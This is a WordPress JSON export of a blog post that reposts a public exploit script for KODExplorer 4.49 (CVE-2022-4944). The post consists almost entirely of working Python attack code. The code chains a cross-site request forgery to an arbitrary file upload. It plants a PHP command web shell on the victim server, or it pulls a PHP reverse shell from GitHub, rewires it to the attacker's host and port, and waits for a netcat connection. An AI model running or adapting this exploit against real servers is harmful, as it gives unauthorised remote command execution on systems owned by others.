{"id":40688,"date":"2023-04-21T22:18:30","date_gmt":"2023-04-21T18:18:30","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/171968\/kodexplorer449-xsrfshell.txt"},"modified":"2023-04-24T16:40:31","modified_gmt":"2023-04-24T12:10:31","slug":"kodexplorer-4-49-cross-site-request-forgery-shell-upload","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/kodexplorer-4-49-cross-site-request-forgery-shell-upload\/","title":{"rendered":"KODExplorer 4.49 Cross Site Request Forgery \/ Shell Upload"},"content":{"rendered":"<p dir=\"ltr\"># Exploit Title: KodExplorer &lt;= 4.49 &#8211; CSRF to Arbitrary File Upload<br \/>\n# Date: 21\/04\/2023<br \/>\n# Exploit Author: Mr Empy<br \/>\n# Software Link: https:\/\/github.com\/kalcaddle\/KodExplorer<br \/>\n# Version: &lt;= 4.49<br \/>\n# Tested on: Linux<br \/>\n# References:<br \/>\n# * https:\/\/vuldb.com\/?id.227000<br \/>\n# * https:\/\/www.cve.org\/CVERecord?id=CVE-2022-4944<br \/>\n# * https:\/\/github.com\/MrEmpy\/CVE-2022-4944<\/p>\n<p dir=\"ltr\">import argparse<br \/>\nimport http.server<br \/>\nimport socketserver<br \/>\nimport os<br \/>\nimport threading<br \/>\nimport requests<br \/>\nfrom time import sleep<\/p>\n<p dir=\"ltr\">def banner():<br \/>\nprint(&#8221;&#8217;<br \/>\n_ _____________ _____ _ ______ _____<br \/>\n_____<br \/>\n| | \/ \/ _ | _ \\ ___| | | | ___ \\\/ __ \\|<br \/>\n___|<br \/>\n| |\/ \/| | | | | | | |____ ___ __ | | ___ _ __ ___ _ __ | |_\/ \/| \/ \\\/|<br \/>\n|__<br \/>\n| \\| | | | | | | __\\ \\\/ \/ &#8216;_ \\| |\/ _ \\| &#8216;__\/ _ \\ &#8216;__| | \/ | | |<br \/>\n__|<br \/>\n| |\\ \\ \\_\/ \/ |\/ \/| |___&gt; &lt;| |_) | | (_) | | | __\/ | | |\\ \\ | \\__\/\\|<br \/>\n|___<br \/>\n\\_| \\_\/\\___\/|___\/ \\____\/_\/\\_\\ .__\/|_|\\___\/|_| \\___|_| \\_| \\_|<br \/>\n\\____\/\\____\/<br \/>\n| |<\/p>\n<p dir=\"ltr\">|_|<\/p>\n<p dir=\"ltr\">[KODExplorer &lt;= v4.49 Remote Code Executon]\n[Coded by MrEmpy]\n<p dir=\"ltr\">&#8221;&#8217;)<\/p>\n<p dir=\"ltr\">def httpd():<br \/>\nport = 8080<br \/>\nhttpddir = os.path.join(os.path.dirname(__file__), &#8216;http&#8217;)<br \/>\nos.chdir(httpddir)<br \/>\nHandler = http.server.SimpleHTTPRequestHandler<br \/>\nhttpd = socketserver.TCPServer((&#8221;, port), Handler)<br \/>\nprint(&#8216;[+] HTTP Server started&#8217;)<br \/>\nhttpd.serve_forever()<\/p>\n<p dir=\"ltr\">def webshell(url, lhost):<br \/>\npayload = &#8216;&lt;pre&gt;&lt;?php system($_GET[&#8220;cmd&#8221;])?&gt;&lt;\/pre&gt;&#8217;<br \/>\npath = &#8216;\/data\/User\/admin\/home\/&#8217;<\/p>\n<p dir=\"ltr\">targetpath = input(&#8216;[*] Target KODExplorer path (ex \/var\/www\/html): &#8216;)<br \/>\nwshell_f = open(&#8216;http\/shell.php&#8217;, &#8216;w&#8217;)<br \/>\nwshell_f.write(payload)<br \/>\nwshell_f.close()<br \/>\nprint(&#8216;[*] Opening HTTPd port&#8217;)<br \/>\nth = threading.Thread(target=httpd)<br \/>\nth.start()<br \/>\nprint(f'[+] Send this URI to your target:<br \/>\n{url}\/index.php?explorer\/serverDownload&amp;type=download&amp;savePath={targetpath}\/data\/User\/admin\/home\/&amp;url=http:\/\/<br \/>\n{lhost}:8080\/shell.php&amp;uuid=&amp;time=&#8217;)<br \/>\nprint(f'[+] After the victim opens the URI, his shell will be hosted at<br \/>\n{url}\/data\/User\/admin\/home\/shell.php?cmd=whoami&#8217;)<\/p>\n<p dir=\"ltr\">def reverseshell(url, lhost):<br \/>\nrvpayload = &#8216;<br \/>\nhttps:\/\/raw.githubusercontent.com\/pentestmonkey\/php-reverse-shell\/master\/php-reverse-shell.php<br \/>\n&#8216;<br \/>\npath = &#8216;\/data\/User\/admin\/home\/&#8217;<\/p>\n<p dir=\"ltr\">targetpath = input(&#8216;[*] Target KODExplorer path (ex \/var\/www\/html): &#8216;)<br \/>\nlport = input(&#8216;[*] Your local port: &#8216;)<br \/>\nreqpayload = requests.get(rvpayload).text<br \/>\nreqpayload = reqpayload.replace(&#8216;127.0.0.1&#8217;, lhost)<br \/>\nreqpayload = reqpayload.replace(&#8216;1234&#8217;, lport)<br \/>\nwshell_f = open(&#8216;http\/shell.php&#8217;, &#8216;w&#8217;)<br \/>\nwshell_f.write(reqpayload)<br \/>\nwshell_f.close()<br \/>\nprint(&#8216;[*] Opening HTTPd port&#8217;)<br \/>\nth = threading.Thread(target=httpd)<br \/>\nth.start()<br \/>\nprint(f'[+] Send this URI to your target:<br \/>\n{url}\/index.php?explorer\/serverDownload&amp;type=download&amp;savePath={targetpath}\/data\/User\/admin\/home\/&amp;url=http:\/\/<br \/>\n{lhost}:8080\/shell.php&amp;uuid=&amp;time=&#8217;)<br \/>\ninput(f'[*] Run the command &#8220;nc -lnvp {lport}&#8221; to receive the<br \/>\nconnection and press any key\\n&#8217;)<br \/>\nwhile True:<br \/>\nhitshell = requests.get(f'{url}\/data\/User\/admin\/home\/shell.php&#8217;)<br \/>\nsleep(1)<br \/>\nif not hitshell.status_code == 200:<br \/>\ncontinue<br \/>\nelse:<br \/>\nprint(&#8216;[+] Shell sent and executed!&#8217;)<br \/>\nbreak<\/p>\n<p dir=\"ltr\">def main(url, lhost, mode):<br \/>\nbanner()<br \/>\nif mode == &#8216;webshell&#8217;:<br \/>\nwebshell(url, lhost)<br \/>\nelif mode == &#8216;reverse&#8217;:<br \/>\nreverseshell(url, lhost)<br \/>\nelse:<br \/>\nprint(&#8216;[-] There is no such mode. Use webshell or reverse&#8217;)<\/p>\n<p dir=\"ltr\">if __name__ == &#8220;__main__&#8221;:<br \/>\nparser = argparse.ArgumentParser()<br \/>\nparser.add_argument(&#8216;-u&#8217;,&#8217;&#8211;url&#8217;, action=&#8217;store&#8217;, help=&#8217;target url&#8217;,<br \/>\ndest=&#8217;url&#8217;, required=True)<br \/>\nparser.add_argument(&#8216;-lh&#8217;,&#8217;&#8211;local-host&#8217;, action=&#8217;store&#8217;, help=&#8217;local<br \/>\nhost&#8217;, dest=&#8217;lhost&#8217;, required=True)<br \/>\nparser.add_argument(&#8216;-m&#8217;,&#8217;&#8211;mode&#8217;, action=&#8217;store&#8217;, help=&#8217;mode<br \/>\n(webshell, reverse)&#8217;, dest=&#8217;mode&#8217;, required=True)<br \/>\narguments = parser.parse_args()<br \/>\nmain(arguments.url, arguments.lhost, arguments.mode)<\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: KodExplorer &lt;= 4.49 &#8211; CSRF to Arbitrary File Upload # Date: 21\/04\/2023 # Exploit Author: Mr Empy # Software Link: https:\/\/github.com\/kalcaddle\/KodExplorer # Version: &lt;= 4.49 # Tested on: Linux # References: # * https:\/\/vuldb.com\/?id.227000 # * https:\/\/www.cve.org\/CVERecord?id=CVE-2022-4944 # * https:\/\/github.com\/MrEmpy\/CVE-2022-4944 import argparse import http.server import socketserver import os import threading import requests &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-40688","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40688","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=40688"}],"version-history":[{"count":2,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40688\/revisions"}],"predecessor-version":[{"id":40739,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/40688\/revisions\/40739"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=40688"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=40688"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=40688"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}